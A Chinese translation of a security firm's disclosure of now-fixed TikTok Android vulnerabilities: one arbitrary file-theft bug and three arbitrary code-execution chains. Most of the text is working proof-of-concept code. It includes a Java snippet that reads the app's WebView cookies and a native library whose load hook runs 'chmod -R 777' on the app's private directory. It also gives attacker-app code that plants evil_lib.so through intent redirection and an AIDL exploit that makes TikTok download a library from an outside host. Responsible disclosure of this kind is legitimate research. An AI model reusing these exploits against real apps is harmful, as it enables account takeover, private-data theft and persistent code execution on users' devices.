抖音国际版(Tik Tok)安卓App安全漏洞分析
2020-09-19 11:40:00 Author: www.4hou.com(查看原文) 阅读量:398 收藏

安全公司Oversecured研究人员在TikTok 安卓app中发现了多个高危安全漏洞。其中包括一个利用用户交互实现任意文件窃取漏洞和3个任意代码执行漏洞。攻击者在受害者安卓设备上安装恶意应用就可以利用这些漏洞。目前所有这些漏洞都已修复,建议用户尽快更新到最新版本。

任意文件窃取漏洞

Oversecured安全研究人员扫描TikTok 安卓app发现:

vulnerability

活动 com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity 会被导出,然后从live_wall_paper 密钥中获取一个 com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean 类对象,然后写入静态域。然后,app会从该静态域中接收getVideoPath(),在provider com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider 中创建一个 ParcelFileDescriptor,并返回给攻击者:

    public ParcelFileDescriptor openFile(Uri uri, String str) throws FileNotFoundException {
        String str2 = "";
        int match = this.f83988g.match(uri);
        if (match == 16) {
            str2 = C30504c.m104774a().f84038a.getVideoPath();
        } //...
        try {
            return ParcelFileDescriptor.open(new File(str2), 268435456);

因为该路径是完全由攻击者控制的,因此提供了任意文件的只读权限。然后,攻击者就获取了app 私有目录中保存的任意文件的访问权限,还包括历史记录、隐私消息和session key,最终实现对用户账户的完全访问。

PoC

     String theft = "/data/user/0/com.zhiliaoapp.musically/app_webview/Default/Cookies";
 
    LiveWallPaperBean bean = new LiveWallPaperBean();
    bean.height = 100;
    bean.width = 100;
    bean.id = "1337";
    bean.source = theft;
    bean.thumbnailPath = theft;
    bean.videoPath = theft;
 
    Intent intent = new Intent();
    intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity");
    intent.putExtra("live_wall_paper", bean);
    startActivity(intent);
 
    Uri uri = Uri.parse("content://com.zhiliaoapp.musically.wallpapercaller/video_path");
    new Handler().postDelayed(() -> {
        try {
            Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
        }
        catch (Throwable th) {
            throw new RuntimeException(th);
        }
    }, 15000);

任意代码执行漏洞

所有的代码执行都和两个独立的漏洞穿起来:重写任意文件和从文件中动态加载代码。在安卓中有2类本地库文件:app resources (app.apk/lib/...)中保存的库和从文件中动态加载的库。第一类有owner 和group,隐私app自己也只有这些文件的只读权限。但是第二类一般都是用java.lang.System.load(path) 调用加载的,可以是任意的所有权,这也就是为什么开发者会选择该分发来加载动态代码。

Oversecured研究人员发现了三种用来创建PoC 的库。该漏洞被只运行一次然后就删除的app利用过。库文件会被写入app的私有目录,然后app在重启时就会加载。所有与任意代码执行相关的漏洞都会使得该app和其用户被黑。

研究人员发给TikTok的PoC 可以获取保存在私有目录下的任意文件的访问权限,以提供给用户账户和私有消息及视频的访问权限。此外,攻击者可以根据权限做与TikTok app类似的事情,包括保存在设备上的用户图片和视频、下载的视频和web浏览器、app使用时可以用用户的麦克风和摄像头在用户不知情的情况下录制音视频内容、读取通讯录。所有获取的数据都会在后台发送给攻击者的服务器,然后进行分析。

利用NotificationBroadcastReceiver的漏洞

vulnerability

Broadcast Receiver com.ss.android.ugc.awemepushlib.receiver.NotificationBroadcastReceiver 被导出并从第三方app接收消息:

public void onReceive(Context context, Intent intent) {
        if (context != null && intent != null) {
           //...
            Intent intent2 = (Intent) intent.getParcelableExtra("contentIntentURI");
            if ("notification_clicked".equals(action)) {
                //...
                        context.startActivity(intent2);

它会从key contentIntentURI 处接收intent 并传递给startActivity(...)。这样攻击者就可以用任意数据和flag 值来启动任意活动。研究人员在TikTok app 中发现的provider 如下:

< provider android:name="android.support.v4.content.FileProvider" android:exported="false" android:authorities="com.zhiliaoapp.musically.fileprovider" android:grantUriPermissions="true" >
    < meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/k86"/ >< /provider >

这就使得可以获取任意文件的读写权限:

< ?xml version="1.0" encoding="utf-8"? >< paths xmlns:amazon="http://schemas.amazon.com/apk/res/android" xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="  >
    < root-path name="name" path=""/ >
    < external-path name="share_path0" path="share/"/ >
    < external-path name="download_path2" path="Download/"/ >
    < cache-path name="gif" path="gif/"/ >
    < external-files-path name="share_path1" path="share/"/ >
    < external-files-path name="install_path" path="update/"/ >
    < external-cache-path name="share_image_path0" path="picture/"/ >
    < external-cache-path name="share_image_path2" path="head/"/ >
    < external-cache-path name="share_image_path3" path="feedback/"/ >
    < external-cache-path name="share_image_path4" path="tmpimages/"/ >
    < cache-path name="share_image_path1" path="picture/"/ >
    < cache-path name="share_image_path3" path="head/"/ >
    < cache-path name="share_image_path4" path="tmpimages/"/ >< /paths >

通过使用路径< root-path name="name" path=""/ >,攻击者可以生成类似于content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/etc

若要访问属于应用程序的任意受保护文件,请执行以下操作。

然后研究人员在app 代码中发现了大量对本地库的引用。其中一些本地库甚至没用被app 使用过。但是创建了对库的预定义路径,并用File.exists() 验证了其存在性,如果存在的话就调用System.load(path)。研究人员在 TikTok app中发现有大量的app 没用使用过的库的引用,攻击者需要在TikTok app 的隐私目录的预定义路径中写入一个预创建的文件。

研究人员分析app的扫描报告发现了app中有大量的引用:

vulnerability

对PoC,研究人员选择了一个位于路径 /data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so 中的库。

PoC

攻击者需要使用下面的代码段提前创建一个本地库:

#include #include #include  
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
    system("chmod -R 777 /data/user/0/com.zhiliaoapp.musically/");
 
    JNIEnv* env;
    if (vm->GetEnv(reinterpret_cast(&env), JNI_VERSION_1_6) != JNI_OK) {
        return JNI_ERR;
    }
    return JNI_VERSION_1_6;
}

当库被加载到System.load(path) 时,就会执行命令 chmod -R 777 /data/user/0/com.zhiliaoapp.musically/ ,将文件的权限从private 修改为可读或可写。

攻击者app中的代码如下:

   protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        handleIntent(getIntent());
    }
 
    protected void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        handleIntent(intent);
    }
 
    private void handleIntent(Intent i) {
        if(!"evil".equals(i.getAction())) {
            Intent next = new Intent("evil");
            next.setClassName(getPackageName(), getClass().getCanonicalName());
            next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so"));
 
            Intent intent = new Intent("notification_clicked");
            intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
            intent.putExtra("contentIntentURI", next);
            sendBroadcast(intent);
        }
        else {
            try {
                OutputStream o = getContentResolver().openOutputStream(i.getData());
                InputStream in = getAssets().open("evil_lib.so");
                IOUtils.copy(in, o);
                inp.close();
                o.close();
            }
            catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    }

当TikTok 再次启动时就会自动加载特定的库,并执行其中包含的代码,导致持续的任意代码执行。

利用 DetailActivity 的漏洞

vulnerability

如上图所示,Activity com.ss.android.ugc.aweme.detail.ui.DetailActivity 会被导出,并通过VENDOR_BACK_INTENT_FOR_INTENT_KEY 参数接收一个外部intent :

     android.content.Intent intent;
    if (!com.ss.android.ugc.aweme.utils.p1532d.C40319c.m140001c() || (intent = (android.content.Intent) getIntent().getParcelableExtra("VENDOR_BACK_INTENT_FOR_INTENT_KEY")) == null || intent.resolveActivity(getPackageManager()) == null) {
        if (this.f71512i) {
            com.ss.android.ugc.aweme.common.C23135h.m87141a("back", com.ss.android.ugc.aweme.app.p902g.C20358d.m78056a().mo59787a("enter_from", "poi_video_leaderboard").mo59787a("previous_page", this.f71513j).f63101a);
        }

然后当用户按压手机的返回按钮时,就传递接收到的对象到startActivity(...):

           com.ss.android.ugc.aweme.utils.C40278az.m139806a(new com.ss.android.ugc.aweme.feed.event.C25835an(42));
            return;
        }
        startActivity(intent);
        finish();
    }

如之前的PoC所示,研究人员使用provider com.zhiliaoapp.musically.fileprovider 将任意文件写入到位于/data/user/0/com.zhiliaoapp.musically/app_librarian/14.7.5.6172264464/libAkeva.so 的库中。

PoC

生成本地库的代码是相同的。攻击者app 的Java代码如下所示:

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        handle(getIntent());
    }
 
    protected void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        handle(intent);
    }
 
    private void handle(Intent i) {
        if(!"evil".equals(i.getAction())) {
            Intent next = new Intent("evil");
            next.setClassName(getPackageName(), getClass().getCanonicalName());
            next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/app_librarian/14.7.5.6172264464/libAkeva.so"));
 
            Intent intent = new Intent();
            intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.aweme.detail.ui.DetailActivity");
            intent.putExtra("VENDOR_BACK_INTENT_FOR_INTENT_KEY", next);
            intent.putExtra("id", "123");
            startActivity(intent);
        }
        else {
            try {
                OutputStream o = getContentResolver().openOutputStream(i.getData());
                InputStream in = getAssets().open("evil_lib.so");
                IOUtils.copy(in, o);
                in.close();
                o.close();
            }
            catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    }

利用IndependentProcessDownloadService AIDL接口的漏洞

包含受保护的服务 com.ss.android.socialbase.downloader.downloader.IndependentProcessDownloadService 的app会在文件com/ss/android/socialbase/downloader/downloader/DownloadService.java 中返回一个binder 对象:

  if (this.downloadServiceHandler != null) {
        return this.downloadServiceHandler.onBind(intent);
}

这样攻击者就可以调用属于该接口的任意方法。其中一个方法是tryDownload,会获取URL来进行文件下载。为成功利用该漏洞,攻击者需要创建一个类com.ss.android.socialbase.downloader.model.DownloadInfo 的对象,并写入必要的值,然后打包到com.ss.android.socialbase.downloader.model.DownloadTask,通过Reflection API 使用app 代码转化为通过AIDL 传递的正确格式。

PoC

   static final String url = "https://redacted.s3.amazonaws.com/evil_lib.so";
    static final String path = "/data/user/0/com.zhiliaoapp.musically/app_lib/";
    static final String name = "libuserinfo.so";
 
    private ServiceConnection mServiceConnection = new ServiceConnection() {
        public void onServiceConnected(ComponentName cName, IBinder service) {
            processBinder(service);
        }
 
        public void onServiceDisconnected(ComponentName cName) {
        }
    };
 
    public static ClassLoader getForeignClassLoader(Context context, String str) throws Exception {
        return context.createPackageContext(str, Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY)
                .getClassLoader();
    }
 
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
 
        Intent intent = new Intent("com.ss.android.socialbase.downloader.remote");
        intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.socialbase.downloader.downloader.IndependentProcessDownloadService");
        bindService(intent, mServiceConnection, BIND_AUTO_CREATE);
    }
 
    private void processBinder(IBinder binder) {
        try {
            ClassLoader cl = getForeignClassLoader(this, "com.zhiliaoapp.musically");
            Object handler = cl.loadClass("com.ss.android.socialbase.downloader.downloader.i$a")
                    .getMethod("asInterface", IBinder.class)
                    .invoke(null, binder);
 
            Object payload = getBinder(cl);
 
            cl.loadClass("com.ss.android.socialbase.downloader.downloader.i")
                    .getMethod("tryDownload", cl.loadClass("com.ss.android.socialbase.downloader.model.a"))
                    .invoke(handler, payload);
        }
        catch (Throwable th) {
            throw new RuntimeException(th);
        }
    }
 
    private Object getBinder(ClassLoader cl) throws Throwable {
        Class utilsClass = cl.loadClass("com.ss.android.socialbase.downloader.utils.g");
        Class taskClass = cl.loadClass("com.ss.android.socialbase.downloader.model.DownloadTask");
        return utilsClass.getDeclaredMethod("convertDownloadTaskToAidl", taskClass)
                .invoke(null, getDownloadTask(taskClass, cl));
    }
 
    private Object getDownloadTask(Class taskClass, ClassLoader cl) throws Throwable {
        Class infoClass = cl.loadClass("com.ss.android.socialbase.downloader.model.DownloadInfo");
        Object info = getDownloadInfo(infoClass, cl);
        return taskClass.getDeclaredConstructor(infoClass).newInstance(info);
    }
 
    private Object getDownloadInfo(Class infoClass, ClassLoader cl) throws Throwable {
        Object info = infoClass.newInstance();
 
        Field field;
 
        field = infoClass.getDeclaredField("url");
        field.setAccessible(true);
        field.set(info, url);
 
        field = infoClass.getDeclaredField("savePath");
        field.setAccessible(true);
        field.set(info, path);
 
        field = infoClass.getDeclaredField("name");
        field.setAccessible(true);
        field.set(info, name);
 
        field = infoClass.getDeclaredField("enqueueType");
        field.setAccessible(true);
        field.set(info, cl.loadClass("com.ss.android.socialbase.downloader.constants.EnqueueType").getEnumConstants()[1]);
 
        return info;
    }

本文翻译自:https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/mGpA
如有侵权请联系:admin#unsafe.sh